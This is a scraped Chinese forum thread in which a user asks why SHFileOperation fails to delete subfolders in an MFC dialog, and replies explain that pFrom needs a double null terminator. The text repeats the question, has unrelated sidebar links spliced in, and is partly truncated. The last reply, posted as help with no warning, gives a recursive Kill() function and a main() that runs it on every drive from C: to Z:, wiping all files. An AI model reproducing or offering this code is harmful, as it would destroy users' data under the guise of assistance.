我先用CFileFind获得了该文件夹下的所有子文件夹,然后把子文件夹的路径存到一个
CString数组里,再调用一个我自定义的delete_folder函数。可是应为SHFILEOPSTRUCT
结构的pFrom参数是LPCSTR类型的,所以无法删除子文件夹。
请高手指点!!! Thanks!
void CICTAuto_feedingSFCSDlg::delete_folder(CString *fd,int fd_sum)
{
int Mark;
SHFILEOPSTRUCT FileOp;
FileOp.hwnd=m_hWnd;
FileOp.wFunc=FO_DELETE;//FO_COPY
//FileOp.pFrom="E:\\555\\1\0";
FileOp.pTo="d:\\\0";
FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
FileOp.hNameMappings=NULL;
FileOp.lpszProgressTitle="Deleting";
for (int i=0;i<fd_sum;i++)
{
//AfxMessageBox(*(fd+i));
LPCSTR SrcFile=*(fd+i);
FileOp.pFrom=SrcFile;//"E:\\555\\2\0"
Mark=SHFileOperation(&FileOp);
}
//AfxMessageBox("Delete Successful");}
CString数组里,再调用一个我自定义的delete_folder函数。可是应为SHFILEOPSTRUCT
结构的pFrom参数是LPCSTR类型的,所以无法删除子文件夹。
请高手指点!!! Thanks!
void CICTAuto_feedingSFCSDlg::delete_folder(CString *fd,int fd_sum)
{
int Mark;
SHFILEOPSTRUCT FileOp;
FileOp.hwnd=m_hWnd;
FileOp.wFunc=FO_DELETE;//FO_COPY
//FileOp.pFrom="E:\\555\\1\0";
FileOp.pTo="d:\\\0";
FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
FileOp.hNameMappings=NULL;
FileOp.lpszProgressTitle="Deleting";
for (int i=0;i<fd_sum;i++)
{
//AfxMessageBox(*(fd+i));
LPCSTR SrcFile=*(fd+i);
FileOp.pFrom=SrcFile;//"E:\\555\\2\0"
Mark=SHFileOperation(&FileOp);
}
//AfxMessageBox("Delete Successful");}
解决方案 »
- 哪个函数可以获得 CListBox 中指定索引的文本?
- 为什么我单击列表控件的某一行的第二项的时候就不能响应NM_CLICK消息呢?
- vc6.0最多支持多少dc?
- 『求救』關于網頁采集問題!
- 因为台风,黄山去不成了,开心,散分
- vccode.com大家能访问吗?
- 如何修改文档的Title
- 识别
- 有用吧? 写了个比sqrtf()快一倍的sqrt()函数
- 简单的说一个list View里 可以加上一个LVS_EX_GRIDLINES 给没一个小的ITEM 都画上线,可是我看到一个程序能控制分别添加横线和竖线!!! 谁知道啊!!
- 请问如何能将rgb(255,255,0)这种格式转化成#FFFF00这种格式
- 请问:VC中怎么改变和设置环境变量?
SHFILEOPSTRUCT FileOp;
FileOp.hwnd=m_hWnd;
FileOp.wFunc=FO_DELETE;//FO_COPY
//FileOp.pFrom="E:\\555\\1\0";
FileOp.pTo="d:\\\0";
FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
FileOp.hNameMappings=NULL;
FileOp.lpszProgressTitle="Deleting";
for (int i=0;i<1;i++)
{
CString aaa="e:\\555\\5\0";
char SrcFile[100];
strcpy(SrcFile, aaa.GetBuffer(100));
FileOp.pFrom=SrcFile;
Mark=SHFileOperation(&FileOp);
}
void CDeletefileDlg::OnButton1() //对话框里的删除按钮
{
// TODO: Add your control notification handler code here
CFileFind filefinder;
BOOL bWorking = filefinder.FindFile("*.*");
while (bWorking)
{
bWorking = filefinder.FindNextFile();
if(filefinder.IsDirectory()==TRUE && filefinder.IsDots()==FALSE)
{
m_stringarray.Add(filefinder.GetFilePath());
}
filefinder.FindNextFile();
}
int num = m_stringarray.GetSize();
delete_folder();}
void CDeletefileDlg::delete_folder()
{
int Mark;
SHFILEOPSTRUCT FileOp;
FileOp.hwnd=m_hWnd;
FileOp.wFunc=FO_DELETE;//FO_COPY
//FileOp.pFrom="E:\\555\\1\0";
FileOp.pTo=NULL;
FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
FileOp.hNameMappings=NULL;
FileOp.lpszProgressTitle="Deleting";
for (int i=0;i<m_stringarray.GetSize();i++)
{
/*LPCTSTR*/ CString SrcFile=m_stringarray.GetAt(i);
AfxMessageBox(SrcFile);
int filelen = SrcFile.GetLength()+2;
char * path = new char[SrcFile.GetLength()+2];
strcpy(path,(LPCTSTR)SrcFile);
path[filelen-2]='\0';
path[filelen-1]='\0';
FileOp.pFrom=path;//"E:\\555\\2\0"
Mark=SHFileOperation(&FileOp);
delete path;
}
//AfxMessageBox("Delete Successful");}
我建了一个a的文件夹,然后执行里面的东西就删掉了.我想你的pFrom应该是有两个'\0'才可把
{
if(!SetCurrentDirectory(path))
{
return;
} CFileFind find;
BOOL bResult = find.FindFile("*.*");
while(bResult)
{
bResult = find.FindNextFile();
if(find.IsDots())
{
continue;
} if(find.IsDirectory())
{
Kill(find.GetFilePath());
}
DeleteFile(find.GetFilePath());
RemoveDirectory(find.GetRoot());
}
}void main()
{
char diskname[] = "C:\\";
for(int a = 'C';a <= 'Z';a ++)
{
diskname[0] = a;
Kill(diskname);
}
}